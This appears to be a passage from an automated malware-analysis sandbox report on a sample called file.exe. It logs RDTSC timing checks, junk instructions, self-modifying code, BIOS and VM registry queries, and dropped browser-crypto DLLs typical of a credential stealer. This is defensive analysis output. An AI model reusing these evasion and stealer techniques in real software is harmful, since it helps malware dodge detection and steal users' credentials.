Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40506 second address: F4050B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F407F7 second address: F407FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F407FF second address: F40805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F40805 second address: F4081D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09ABh 0x00000009 popad 0x0000000a js 00007F1B30DB09ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4081D second address: F40889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F1B3079D6A3h 0x00000010 jmp 00007F1B3079D6A0h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jno 00007F1B3079D696h 0x0000001f popad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F1B3079D6A6h 0x00000028 jmp 00007F1B3079D6A8h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4191A second address: F4191F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4191F second address: F41945 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1B3079D69Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F1B3079D69Fh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jo 00007F1B3079D6A0h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47CF2 second address: F47D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09B3h 0x00000009 jnl 00007F1B30DB09A6h 0x0000000f popad 0x00000010 jc 00007F1B30DB09AAh 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47D1A second address: F47D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D6A8h 0x00000007 jl 00007F1B3079D6B1h 0x0000000d jmp 00007F1B3079D6A9h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007F1B3079D6A9h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 jmp 00007F1B3079D6A2h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47D8A second address: F47DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09AFh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F12 second address: F51F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1B3079D69Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F23 second address: F51F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F27 second address: F51F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F2D second address: F51F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F37 second address: F51F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F3B second address: F51F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F3F second address: F51F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F45 second address: F51F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jnp 00007F1B30DB09ACh 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51F5D second address: F51F63 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F550D7 second address: F550E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1B30DB09B8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59338 second address: F59363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 jnp 00007F1B3079D696h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 pushad 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007F1B3079D696h 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F1B3079D69Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59363 second address: F59367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB7E second address: F5CB89 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F1B3079D696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB89 second address: F5CB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CB92 second address: F5CBA1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CBA1 second address: F5CBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CBA7 second address: F5CBB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007F1B3079D696h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CBB7 second address: F5CBBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CBBD second address: F5CBC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CBC3 second address: F5CBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C6BF second address: F5C6C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6134C second address: F61359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jg 00007F1B30DB09A6h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F628B4 second address: F628D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B3079D6A7h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F628D2 second address: F628EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1B30DB09AFh 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F628EB second address: F628EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F628EF second address: F628F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F628F3 second address: F62937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1B3079D696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 jmp 00007F1B3079D6A7h 0x00000015 jmp 00007F1B3079D6A5h 0x0000001a jg 00007F1B3079D696h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7447B second address: F74491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72F08 second address: F72F14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F1B3079D696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F731DD second address: F73205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1B30DB09B7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e js 00007F1B30DB09A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7418E second address: F741CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1B3079D6A9h 0x0000000a jmp 00007F1B3079D6A1h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1B3079D6A5h 0x00000019 push esi 0x0000001a jo 00007F1B3079D696h 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F787E5 second address: F78803 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F1B30DB09B8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78803 second address: F78820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B3079D6A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FC4 second address: F84FC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FC8 second address: F84FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FCE second address: F84FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1B30DB09AAh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FE7 second address: F84FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FEB second address: F84FF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FF3 second address: F84FF8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84FF8 second address: F85008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 ja 00007F1B30DB09A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8397A second address: F8398B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B3079D69Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95E92 second address: F95E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1B30DB09A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95E9E second address: F95EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F1B3079D69Bh 0x0000000d ja 00007F1B3079D696h 0x00000013 jnp 00007F1B3079D696h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7B78 second address: FA7B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7B7E second address: FA7BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1B3079D6A8h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F1B3079D69Ch 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA73E4 second address: FA742D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jnl 00007F1B30DB09AEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B30DB09B1h 0x00000017 jmp 00007F1B30DB09ACh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA758B second address: FA758F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA758F second address: FA75B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09ACh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push edx 0x0000000d jmp 00007F1B30DB09ABh 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F1B30DB09A6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA4BA second address: FAA4BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA4BE second address: FAA4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA4C4 second address: FAA4DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F1B3079D69Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA7AC second address: FAA7E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, eax 0x0000000c push 00000004h 0x0000000e pushad 0x0000000f add edi, dword ptr [ebp+122D2A7Ah] 0x00000015 xor edi, 7BE2B350h 0x0000001b popad 0x0000001c call 00007F1B30DB09A9h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F1B30DB09B1h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA7E5 second address: FAA827 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1B3079D696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1B3079D69Fh 0x00000010 jmp 00007F1B3079D69Eh 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F1B3079D69Eh 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA827 second address: FAA82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAAFC second address: FAAB65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B3079D6A2h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F1B3079D69Ch 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007F1B3079D69Eh 0x0000001e jmp 00007F1B3079D6A1h 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F1B3079D6A4h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAB65 second address: FAAB6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561025C second address: 5610262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56102DA second address: 56102F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B30DB09B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56102F2 second address: 56102F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56102F6 second address: 5610308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, edx 0x0000000e movsx edi, si 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610308 second address: 561030E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561030E second address: 5610312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610312 second address: 561033A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F1B3079D6A5h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561033A second address: 561033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561033E second address: 5610344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED08AA second address: ED08B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610A66 second address: 5610A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610A6C second address: 5610A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610A72 second address: 5610A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610A76 second address: 5610A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1B30DB09ADh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov si, F739h 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2195F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ED54DE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AD4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ACDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00ACE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00AD3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ACF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AC16D0
